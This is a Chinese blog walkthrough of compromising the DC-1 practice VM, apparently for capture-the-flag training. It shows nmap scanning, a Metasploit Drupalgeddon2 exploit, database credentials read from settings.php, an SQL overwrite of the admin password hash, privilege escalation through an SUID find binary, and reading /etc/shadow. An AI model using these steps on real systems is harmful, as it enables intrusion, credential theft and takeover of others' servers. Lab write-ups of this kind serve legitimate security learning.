news 2026/10/15 4:02:58

详细CD-1靶机渗透

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
详细CD-1靶机渗透

一.信息收集

1.查询网卡IP,找到本机IP

ip a

2.扫描网段存活主机,找 DC-1 靶机 IP

nmap -sn 192.168.37.130/24

3.nmap 连接端口,发送探测报文,根据返回 banner 识别服务版本

nmap -sV 192.168.37.132

4.浏览器直接访问靶机 80 端口 Web 服务

浏览器访问http://192.168.37.132

终端启动msf,用来调用 Drupal7 的 CVE-2018-7600 漏洞

msfconsole

检索关键词,筛选所有和 Drupal CMS 相关的 EXP

search drupal

二.漏洞利用

1.加载上一步 search 结果里序号为 1 的drupal_drupalgeddon2漏洞模块。

use 1

2.执行show options查看 Drupalgeddon2 模块参数

show options

告诉 Drupalgeddon2 漏洞模块,要攻击的主机是192.168.37.132

执行当前漏洞模块,开始漏洞利用

run

得到meterpreter会话

3.提升交互

切换到靶机的Linux终端,输入python命令

python -c 'import pty;pty.spawn("/bin/bash")'

执行ls列出当前目录文件,发现flag1.txt

查询 Drupal 配置文件位置

进入 Drupal 配置文件目录

cd sites/default

从 settings.php 中读取到数据库信息,同时找到flag2 提示

4.数据库渗透

尝试登陆mysql

mysql -u dbuser -pR0ck3t

切换到drupaldb数据库

use drupaldb

列出 drupaldb 里所有数据表,找到users用户表

列出当前数据库内所有数据表

查询 users 表,获取网站用户名以及对应的 Drupal 加密密码哈希

select * from users;

uid=1:admin 管理员账号,pass字段是 Drupal 专用加盐密码 hash
uid=2:普通用户 Fred
uid=0:匿名用户,空账号

说明:Drupal7 密码采用 SHA-512 加盐哈希,直接爆破难度较大

解决思路:本地生成新的 Drupal7 密码 hash,使用UPDATE语句替换 admin 记录中的 pass 字段,使用自定义新密码登录网站后台获取 flag。

执行exit退出mysql,进入 scripts 目录,查找 Drupal 密码加密脚本 password-hash.sh

cd /var/www/scripts

从 scripts 目录切换到网站根目录/var/www,准备执行密码哈希生成脚本

cd /var/www

使用 php 运行password-hash.sh脚本,设置自定义明文密码123456,生成对应的 Drupal7 密码哈希

php /var/www/scripts/password-hash.sh 123456

使用数据库账号dbuser登录 MySQL,输入密码R0ck3t,成功进入 MySQL 交互环境,准备执行 SQL 修改 admin 管理员账号密码

mysql -u dbuser -p

将上一步生成的 Drupal7 密码哈希写入 users 表,更新 admin 管理员账户的 pass 字段。返回结果Query OK, 1 row affected,代表成功修改 1 条数据

UPDATE users SET pass='$S$DE1YCWuXhpMx3OaWw3v19d0dCypM0C4Durb4FJ1s0CzEyqtLsBPQ' WHERE name='admin';

登录 Drupal 后台,找到 flag3 页面

访问 flag3 页面,获取提示信息

5.权限提升,查找 SUID 权限文件

find / -perm -u=s -type f 2>/dev/null

利用 SUID 的 find 命令执行命令,获取 root 权限

find . -exec /bin/bash -p \;

root 权限读取 /etc/shadow,获取 flag4

cat /etc/shadow

全局搜索 flag 相关文件,定位最终 flag5

find / -name "*flag*" 2>/dev/null

成功找到最后flag5

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/15 4:02:21

B端界面设计中支付结算:付款按钮点下去之后,到底发生了什么?

兰亭妙微UI设计公司:先看一个”付款报错”的现场时间:新店铺支付模块上线第二天,早上 10 点。小A 正在工位上喝咖啡,客服群突然开始连环炸:用户A: “我付完钱了,订单怎么还显示’待支付’?”用户…

作者头像 李华
网站建设 2026/10/15 4:02:16

当模型开始生成界面:Intelligent UI 与 AI 应用入口的重构

【摘要】2026年10月7日,OpenAI随GPT-6推出Intelligent UI,覆盖超12亿周活用户,ChatGPT回答从文字升级为可交互的图表、表单与工具。拆解组件库与编译器机制,梳理3次范式迁移与2条厂商路线,评估对轻量应用、应用生成赛道…

作者头像 李华
网站建设 2026/10/15 4:01:47

superpowers:浏览器中的多人实时协作开源游戏编辑器

打开浏览器,输入本地地址,一个多人在线编辑的 3D 游戏场景就在眼前实时同步——这不是什么商业云平台的演示,而是一个叫 superpowers 的开源项目。我第一次刷到它时,第一反应是"这名字取得真够直白的",第二反…

作者头像 李华
网站建设 2026/10/15 4:01:26

数据结构之算法分析

一:算法复杂度1.在计算算法复杂度时,如果这条语句的执行次数是固定的,是一个常数的话,那么不论他执行多少次,哪怕执行一万次,他的复杂度都是O(1)。2.对数阶的计算:假设在…

作者头像 李华
网站建设 2026/10/15 4:01:15

C/C++ 高频陷阱与避坑指南:从编译链接到内存管理的实战经验

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/10/15 4:01:14

MiMo-V2.6-Flash 多模态高效应用实战指南

在内容创作和业务流程自动化的浪潮中,许多团队正面临着效率瓶颈的严峻挑战。设计师花费数小时调整商品图细节,视频编导为了拆解脚本熬夜到凌晨,客服人员在重复的咨询中疲于奔命,而开发人员则被困在繁琐的低代码配置里。这些场景并…

作者头像 李华